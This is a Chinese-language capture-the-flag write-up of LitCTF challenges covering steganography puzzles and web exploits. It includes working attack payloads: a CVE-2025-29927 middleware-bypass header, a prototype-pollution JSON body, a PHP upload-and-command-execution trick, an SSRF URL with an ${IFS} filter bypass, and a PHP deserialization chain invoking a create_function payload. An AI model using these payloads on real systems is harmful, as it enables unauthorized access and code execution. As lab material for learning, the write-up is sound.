Litctf复现

前言

​ 写了三道misc,一道web,可惜离获奖还有点距离。这里复现几题。


Misc

消失的文字

知识点:pcap2track流量鼠标小工具、hidden-world

​ 附件一个压缩包和一个usb.pcappng

​ usb流量包可以用小工具嗦,也是第一次知道pcap2track

image-20250530101807942

​ 得到压缩包密码868F-83BD-FF

image-20250530194028323

​ 在hidden-world网站上直接解即可

image-20250530194649650

​ 这里因为不知道这是个什么隐写,简单了解以下原理和特征

Hidden Word 是一个隐形文本水印工具)。它通过 Unicode 特性,把版权信息和元数据嵌入到文本里,但不会改变文字的外观

image-20250530195253356

​ 特征也很明显。

洞妖洞妖

知识点:ppt宏提取、时间间隔隐写、换表base64、

​ 附件ppt,第一次做这个类型的题目,先改后缀为zip,然后用oletools查看.bin文件的宏代码。

​ 用法比较多,这里用olevba

image-20250604101601066

image-20250604224739082

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Sub hgf()
Sub CustomEncode()
    Dim inputString As String
    inputString = "*******"

    Dim encodedString As String
    encodedString = CustomEncode(inputString)

    MsgBox "自定义编码结果为: " & vbCrLf & encodedString
End Sub

Function CustomEncode(inputString As String) As String
    Dim charSet As String
    charSet = "*******************"

    Dim byteArray() As Byte
    byteArray = StrConv(inputString, vbFromUnicode)

    Dim encodedString As String
    encodedString = ""
    Dim i As Integer
    Dim n As Long
    For i = 1 To LenB(byteArray) Step 3
        n = 0
        n = (n Or (ByteToInt(MidB(byteArray, i, 1)) << 16))
        If i + 1 <= LenB(byteArray) Then
            n = (n Or (ByteToInt(MidB(byteArray, i + 1, 1)) << 8))
        End If
        If i + 2 <= LenB(byteArray) Then
            n = (n Or ByteToInt(MidB(byteArray, i + 2, 1)))
        End If

        encodedString = encodedString & Mid(charSet, (n >> 18) + 1, 1)
        encodedString = encodedString & Mid(charSet, ((n >> 12) And &H3F) + 1, 1)
        If (i + 1) <= LenB(byteArray) Then
            encodedString = encodedString & Mid(charSet, ((n >> 6) And &H3F) + 1, 1)
        Else
            encodedString = encodedString & "="
        End If
        If (i + 2) <= LenB(byteArray) Then
            encodedString = encodedString & Mid(charSet, (n And &H3F) + 1, 1)
        Else
            encodedString = encodedString & "="
        End If
    Next i

    CustomEncode = encodedString
End Function

Function ByteToInt(byteVal As Byte) As Long
    ByteToInt = CLng(byteVal)
End Function
End Function
"5uESz7on4R8eyC//"

​ 是个换表base,给了密文,只要找到映射表就行。

​ 然后,ppt的自动换片间隔里有0和1隐写,在/ppt/slides/slide?.xml的advTm字段里,可以写脚本提出来

image-20250604225833933

image-20250604230217256

image-20250604230301145

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
import re
import xml.etree.ElementTree as ET

def extract_advTm_binary_string(folder='.'):
    slides = []
    
    # 筛选并排序 slide*.xml 文件(按数字顺序)
    for filename in os.listdir(folder):
        match = re.match(r'slide(\d+)\.xml$', filename)
        if match:
            slide_num = int(match.group(1))
            slides.append((slide_num, filename))
    
    slides.sort()  # 按 slide 编号排序

    binary_str = ''
    
    for slide_num, filename in slides:
        filepath = os.path.join(folder, filename)
        try:
            tree = ET.parse(filepath)
            root = tree.getroot()
            
            # 使用命名空间查找 advTm
            ns = {
                'p': 'http://schemas.openxmlformats.org/presentationml/2006/main',
                'mc': 'http://schemas.openxmlformats.org/markup-compatibility/2006'
            }
            
            advTm = None

            # 遍历所有 <p:transition> 标签
            for transition in root.findall('.//p:transition', ns):
                advTm_str = transition.attrib.get('advTm')
                if advTm_str is not None:
                    advTm = int(advTm_str)
                    break  # 找到就可以停止了

            binary_str += '1' if advTm and advTm > 0 else '0'

        except Exception as e:
            print(f"处理文件 {filename} 时出错: {e}")
            binary_str += '0'

    return binary_str

if __name__ == '__main__':
    binary_result = extract_advTm_binary_string('.')
    print(f"结果二进制字符串: {binary_result}")

​ 1000换成1,0不变,得到

10000111000101110010011000111110111111011010110101110101100111011011011101100110101110010101110100111001111100101110001110000110101100111001011001101111010110111100001011110101111001111100001101100110101011010010110011011000101011110001101110000011000011011100101011100110110011001001011110101011010011001000110011111001101000100100000111000101010101110010110101001010011100111110100101010001101000011011111001001110100010001110111000011001001100010101111

​ 然后解码一下

image-20250604230437408

image-20250604230540228

​ 居然不是flag,看来还有别的东西

​ 找到ppt中的图片image2,发现藏了zip,密码应该就是base解出来的东西

image-20250604230752626

image-20250604230742523

​ 打开后战斗还未结束

image-20250604231137013

​ 不过也很简单了

image-20250604231256730


Web

星愿信箱

​ 已解决的题目,过滤了{{}}的ssti,不多说

nest_js

知识点:cve-2025-29927绕过中间件权限

​ 弱口令,admin/password。好像是非预期。预期是cve-2025-29927绕过中间件权限

​ 这个漏洞允许攻击者通过操作 x-middleware-subrequest 请求头来绕过基于中间件的安全控制,从而可能获得对受保护资源和敏感数据的未授权访问。

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

​ 复现很简单,直接打进去就行(多试几次,可能会比较卡),可以发现新的ETag

image-20250529114800851

​ 将etag替换,访问/dashboard

image-20250529115218345

​ 但是etag是个什么玩意?

​ ETag(Entity Tag)是万维网协议 HTTP 的一部分。它是 HTTP 协议提供的若干机制中的一种 Web 缓存验证机制,并且允许客户端进行缓存协商。

​ 所以这其实就是和cookie,Jwt差不多的东西

多重宇宙日记

知识点:简单原型链污染

​ 注册后在个人资料可以看到源码,是原型链污染

image-20250529130428337

​ 分析后发现有settings,然后如果isadmin发生改变就更新导航栏,我们就可以污染settings的原型,把它的原型的isadmin值改为true,就可以完成污染

​ 然后可以直接传Json(这格式还得是这样的),打入

1
2
3
4
5
6
7
{
    "settings": {
        "__proto__": {
            "isAdmin": true
        }
    }
}

​ 然后点击导航栏上的管理员链接即可

easy_file

知识点:弱密码爆破、简单文件上传+文件读取

​ 又是一个登陆界面,查看源码后发现有个file查看头像,先不管我们上传内容抓包

image-20250529145355997

​ 发现被编码了,我们尝试爆破

image-20250529145921860

​ 得到admin/password

​ 然后是文件上传,直接上传(有个短标签绕过)<?php 换成<?就行

image-20250529151407355

​ 还记得那个file查看头像吗,用flie查看头像,并传入命令即可

image-20250529152328076

image-20250529152454281

easy_signin

知识点:(时间戳+md5)爆破、easy_ssrf

image-20250601201145781

​ 登进来就这样,先dirsearch一下

image-20250601201332490

​ 发现login.html,查看其源代码,有两点,第一点是发现用户名和密码被md5加密了

image-20250601201727317

​ 第二点是在api.js可以发现**/api/sys/urlcode.php?url=**这里明显是ssrf

image-20250601204125258

​ 我们先对用户名和密码进行爆破,这里有时间戳限制,只能写代码爆破

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import requests
import hashlib
import time
import json

def md5(text):
    """计算MD5值"""
    return hashlib.md5(text.encode()).hexdigest()

def generate_sign(username, password, timestamp, secret_key='easy_signin'):
    """生成签名"""
    # 计算用户名和密码的MD5
    md5_username = md5(username)
    md5_password = md5(password)
    
    # 取前6位
    short_md5_user = md5_username[:6]
    short_md5_pass = md5_password[:6]
    
    # 生成签名
    sign_str = short_md5_user + short_md5_pass + timestamp + secret_key
    return md5(sign_str)

def try_login(username, password):
    """尝试登录"""
    # 获取时间戳
    timestamp = str(int(time.time() * 1000))
    
    # 计算MD5
    md5_username = md5(username)
    md5_password = md5(password)
    
    # 生成签名
    sign = generate_sign(username, password, timestamp)
    
    # 构造请求头
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'X-Sign': sign
    }
    
    # 构造请求数据
    data = {
        'username': md5_username,
        'password': md5_password,
        'timestamp': timestamp
    }
    
    try:
        # 创建会话对象
        session = requests.Session()
        
        # 发送请求
        response = session.post('http://node6.anna.nssctf.cn:26591/login.php', 
                              headers=headers, 
                              data=data)
        
        # 打印请求信息
        print("\n=== 请求信息 ===")
        print(f"URL: {response.request.url}")
        print("\n请求头:")
        for key, value in response.request.headers.items():
            print(f"{key}: {value}")
        print("\n请求体:")
        print(response.request.body)
        
        # 打印响应信息
        print("\n=== 响应信息 ===")
        print(f"状态码: {response.status_code}")
        print("\n响应头:")
        for key, value in response.headers.items():
            print(f"{key}: {value}")
        print("\n响应体:")
        print(response.text)
        
        return response
        
    except Exception as e:
        print(f"[-] 请求失败: {str(e)}")
        return None

if __name__ == "__main__":
    # 已知的用户名和密码
    username = "admin"
    password = "admin123"
    
    # 尝试登录
    response = try_login(username, password)
    
    if response:
        print("\n[+] 登录请求已发送")
        print(f"[+] 用户名: {username}")
        print(f"[+] 密码: {password}")

​ 记得让ai搞出请求头消息

image-20250601213021008

image-20250601213544788

​ 然后就可以进入dashboard.php了

image-20250601213751983

​ 显然是之前ssrf,有个本地绕过

1
/api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php

image-20250601214010050

空格被过滤了,用${IFS}绕。

image-20250601214638378

然后直接访问就行,读不到。

image-20250601214801826

君の名は

知识点:反序列化原生类调用匿名函数

image-20250601215414775

​ 链子很简单,难的是怎么获取flag

1
(new $args[0]($args[1]))->{$this->magic}();

​ 我们看到这段代码,实例化了一个类,然后调用了这个类的一个方法,然后这个方法的函数名可控,但是没有参数正好调用匿名函数,也就是下面的create_function。

​ 解释一下create_function("", 'die(/readflag);'); **创造匿名函数/000ambda_1(可能不是1),执行/readflag然后终止脚本。**所以我们只需要能运行这个函数,就可以获取flag了

​ 所以思路就是:

  • 找到一个可以调用匿名函数的原生类
  • 找到匿名函数的名字

​ 搜索发现ReflectionFunction的invoke方法可以调用函数,正好invoke也不用多传参数,正好符合思路。

​ 那么赋值Taki类的magic=invokeReflectionFunction匿名函数名/000ambda_1赋值到哪呢?

​ 这里涉及到__call($func,$args)的传参问题

1
2
3
4
假如我们触发__call($func,$args)所调用的函数是

flag($arg1,$arg2)
那么触发__call($func,$args)时,$func就会被赋值为"flag";$args就会被赋值为flag()的参数构成的数组。所以要给$args赋值需要在flag()的参数里赋值。

​ 所以KatawareDoki类的

kuchikamizake = "ReflectionFunction";

name = "\000lambda_1"

​ 最后是绕过,因为过滤了O,所以需要用一个类来对链子进行包装,然后开头的O就会被自动转换为C

  • ArrayObject::unserialize

​ 获得exp

image-20250601224941200

​ 这里是lambda_10,因为不知道这个匿名函数到底是几,我们爆破一下

image-20250601230352626

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计